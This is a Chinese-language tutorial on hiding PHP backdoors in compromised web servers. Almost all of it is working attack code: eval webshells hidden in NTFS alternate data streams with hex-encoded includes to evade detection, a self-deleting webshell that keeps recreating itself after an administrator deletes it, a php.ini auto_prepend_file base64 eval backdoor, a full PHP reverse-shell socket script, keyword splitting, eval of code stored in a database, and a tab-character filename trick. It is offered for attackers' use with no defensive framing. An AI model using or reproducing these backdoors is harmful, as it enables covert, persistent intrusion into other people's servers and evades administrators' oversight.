這篇文章將為大家詳細講解有關如何隱藏php后門,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
php隱藏后門的方法:1、創建系統隱藏文件;2、利用ADS隱藏文件;3、在php環境變量中留shell;4、設置不死馬;5、設置“php.ini”后門;6、將關鍵字拆分,并進行多文件包含;7、將真正的一句話寫入數據庫。
php 后門隱藏技巧
1. attrib +s +h
創建系統隱藏文件:
attrib +s +a +r +h
attrib +s +h 文件名
在 Windows 10下即使開啟了顯示隱藏的項目,或dir仍然看不見。
2. 利用 ADS 隱藏文件
NTFS交換數據流(Alternate Data Streams,簡稱 ADS)是 NTFS 磁盤格式的一個特性,在 NTFS文件系統下,每個文件都可以存在多個數據流。通俗的理解,就是其它文件可以“寄宿”在某個文件身上,而在資源管理器中卻只能看到宿主文件,找不到寄宿文件。利用ADS 數據流,我們可以做很多有趣的事情。(抄的)
首先創建 ADS 隱藏文件
在命令行,echo 一個數據流進去,比如 index 文件是正常文件。
echo ^<?php @eval($_REQUEST[1]);?^> > index.php:shell.jpg
這樣就生成了一個不可見的 index.php:shell.jpg
使用dir /r查看
可使用命令直接修改,要刪除的話 直接刪除 index.php就ok了
第二步,直接使用正常文件包含。
做一些免殺
把 index.php:shell.jpg hex 編碼
<?php $a="696E6465782E7068703A7368656C6C2E6A7067"; // index.php:shell.jpg hex編碼 $b="a"; include(PACK('H*',$$b)) ?>
3.php環境變量留shell
在c盤創建這個目錄
丟個圖片一句話
然后文件包含,就好。為了隱蔽可以包含圖片馬,txt等。
4.不死馬
運行后,會刪除自身,生成一個 webshell.php,管理員刪除后還會生成。
<?php set_time_limit(0); ignore_user_abort(1); unlink(__FILE__); while(1){ file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>'); sleep(5); }
解決覆蓋重寫或者重啟 web 服務刪掉即可。
<?php set_time_limit(0); ignore_user_abort(1); unlink(__FILE__); while(1){ file_put_contents('webshell.php','clear'); sleep(1); }
五. php.ini后門
將下面后門寫入php.ini
allow_url_include=On auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+" // base64 <?php @eval($_REQUEST[cmd]);?> // 后門類型可自己修改。
這些做好后,重啟 web 服務就好了。
方法1. 如果權限很大的話,自己手動重啟,缺點容易暴露,重啟服務,就要上服務器,某里的服務器,異地登陸有短信提醒。
方法2.就是加載一個 php_socke.php 腳本,讓他重新加載 php.ini
此后門,任何php都可菜刀連接
<?php /******************************/ /* 只適用于windows系統 */ /******************************/ while(true){//別問我為什么要死循環,我也不清楚,只有設置成死循環才能加載新的 php.ini ... @set_time_limit(0); $system=strtoupper(substr(PHP_OS,0,3)); if(!extension_loaded('sockets')) { if($system=='WIN'){@dl('php_sockets.dll')ordie("Can't load socket");} } $host='255.255.255.255';// 搞一個不存在的ip,萬一給人家反彈過去了豈不是真尷尬了~~~ $port=1998;//別問我為什么是1998,問了我也不會告訴你.... if($system=="WIN"){$env=array('path'=>'c:\\windows\\system32');} $descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),); $host=gethostbyname($host); $proto=getprotobyname("tcp"); if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket創建失敗");} if(($ret=@socket_connect($sock,$host,$port))<0){die("連接失敗");} else{ $message="PHP反彈連接\n"; @socket_write($sock,$message,strlen($message)); $cwd=str_replace('\\','/',dirname(__FILE__)); while($cmd=@socket_read($sock,65535,$proto)) { if(trim(strtolower($cmd))=="exit"){ socket_write($sock,"Bye\n");exit; }else{ $process=proc_open($cmd,$descriptorspec,$pipes,$cwd,$env); if(is_resource($process)){ fwrite($pipes[0],$cmd); fclose($pipes[0]); $msg=stream_get_contents($pipes[1]); socket_write($sock,$msg,strlen($msg)); fclose($pipes[1]); $msg=stream_get_contents($pipes[2]); socket_write($sock,$msg,strlen($msg)); $return_value=proc_close($process); } } } } } ?> //此腳本非百分百成功
6. 關鍵字拆分,多文件包含!
比如一句話:@eval($_POST['x']);我們可以寫成$a=$_POST['x'];@eval($a);
我們可以將 $a=$_POST['x'];寫入一個文件 POST.php
然后在 @eval($a); 一句話的上方使用 include "POST.php";的方式引用!
7.將真正的一句話寫入數據庫
當我們發現源碼有個地方執行了數據庫操作,那我們就可以改源碼和數據庫啦~
比如,修改成 eval(查出的數據);
8.以下是linux的
無意中發現的。具體看代碼。
<?php $webpath = dirname(__FILE__)."/"; file_put_contents($webpath ."guige.jpg".chr(9).".php","保存的內容(比如寫 個一句話)"); ?>
生成一個文件。
在目錄下看到是顯示 名字為 guige.jpg
但是 web 瀏覽 卻發現 沒有找到 guige.jpg 后來發現 需要添 guige.jpg%09.php 這樣
的話就導致我們可以對后門隱藏了。。管理員看到的是.jpg 我們卻可以 web 用.php 解析來
連接。。。有用的到的可以看看。
關于如何隱藏php后門就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。